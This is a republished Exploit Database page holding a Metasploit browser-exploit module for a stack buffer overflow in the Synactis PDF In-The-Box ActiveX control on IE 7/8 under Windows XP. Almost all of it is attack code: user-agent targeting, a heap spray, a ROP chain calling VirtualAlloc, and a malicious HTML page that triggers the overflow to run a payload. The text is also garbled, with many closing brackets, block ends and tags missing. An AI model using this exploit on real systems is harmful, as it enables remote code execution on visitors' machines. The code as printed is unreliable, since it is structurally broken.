Synactis PDF In-The-Box – ConnectToSynactic Stack Buffer Overflow (Metasploit)

Exploit Database
118 阅读

作者： Metasploit

日期： 2013-06-11
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/26134/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name=> HttpClients::IE,

:ua_minver=> "7.0",

:ua_maxver=> "8.0",

:javascript => true,

:classid=> "{C80CAF1F-C58E-11D5-A093-006097ED77E6}",

:method => "ConnectToSynactis",

:os_name=> OperatingSystems::WINDOWS,

:rank => AverageRanking

})

def initialize(info={})

super(update_info(info,

'Name' => "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow",

'Description'=> %q{

This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX

component, specifically PDF_IN_1.ocx.When a long string of data is given

to the ConnectToSynactis function, which is meant to be used for the ldCmdLine

argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry

class pointer saved on the stack, and results in arbitrary code execution under the

context of the user.

Also note that since the WinExec function is used to call the default browser,

you must be aware that: 1) The default must be Internet Explorer, and 2) When the

exploit runs, another browser will pop up.

Synactis PDF In-The-Box is also used by other software such as Logic Print 2013,

which is how the vulnerability was found and publicly disclosed.

'License'=> MSF_LICENSE,

'Author' =>

[

'h1ch4m',

'sinn3r'#Metasploit

'References' =>

[

[ 'OSVDB', '93754' ],

[ 'EDB', '25835' ]

'Platform' => 'win',

'Targets'=>

[

# Newer setups like Win + IE8: "Object doesn't support this property or method"

[ 'Automatic', {} ],

[

'IE 7 on Windows XP SP3', {'Eax' => 0x0c0c0c0c}

[

# 0x20302020 = Where the heap spray will land

# 0x77c15ed5 = xchg eax,esp; rcr dword ptr [esi-75], 0c1h, pop ebp; ret 4

'IE 8 on Windows XP SP3',

{ 'Rop' => :msvcrt, 'Pivot' => 0x77C218D3, 'Ecx' => 0x20302024, 'Eax' => 0x20302028 }

]

'Payload'=>

{

'BadChars'=> "\x00",

'StackAdjustment' => -3500

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f'

'Privileged' => false,

'DisclosureDate' => "May 30 2013",

'DefaultTarget'=> 0))

end

def get_target(agent)

return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt

when '5.1'

os_name = 'Windows XP SP3'

end

targets.each do |t|

if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))

return t

end

return nil

end

def get_payload(t, cli)

code = payload.encoded

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

align= "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

# Must be null-byte-free for the spray

chain =

[

t['Pivot'],

0x41414141,

t['Ecx'], # To ECX

0x77c1e844, # POP EBP # RETN [msvcrt.dll]

0x41414141,

0x77c1e844, # skip 4 bytes [msvcrt.dll]

0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]

0xffffffff,

0x77c127e5, # INC EBX # RETN [msvcrt.dll]

0x77c4e0da, # POP EAX # RETN [msvcrt.dll]

0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)

0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]

0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]

0x77c34fcd, # POP EAX # RETN [msvcrt.dll]

0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)

0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]

0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]

0x77c3048a, # POP EDI # RETN [msvcrt.dll]

0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]

0x77c46efb, # POP ESI # RETN [msvcrt.dll]

0x77c2aacc, # JMP [EAX] [msvcrt.dll]

0x77c3b860, # POP EAX # RETN [msvcrt.dll]

0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]

0x77c12df9, # PUSHAD # RETN [msvcrt.dll]

0x77c35459# ptr to 'push esp #ret ' [msvcrt.dll]

].pack("V*")

p = chain + align + code

else

p = "\x0c" * 50 + code

end

def get_html(cli, req, target)

js_p = ::Rex::Text.to_unescape(get_payload(target, cli), ::Rex::Arch.endian(target.arch))

eax= "\\x" + [target['Eax']].pack("V*").unpack("H*")[0].scan(/../) * "\\x"

html = %Q|

<html>

<head>

#{js_property_spray}

function r()

{

var s = unescape("#{js_p}");

sprayHeap({shellcode:s});

var p1 = '';

var p2 = '';

eax = "#{eax}";

while (p1.length < 189)p1 += "\\x0c";

while (p2.length < 7000) p2 += "\\x0c";

var obj = document.getElementById("obj");

obj.ConnectToSynactis(p1+eax+p2);

}

</script>

</head>

</body>

</html>

html.gsub(/^\t\t/, '')

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

uri = request.uri

print_status("Requesting: #{uri}")

target = get_target(agent)

if target.nil?

print_error("Browser not supported, sending 404: #{agent}")

send_not_found(cli)

return

end

print_status("Target selected as: #{target.name}")

send_response(cli, get_html(cli, request, target), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})

end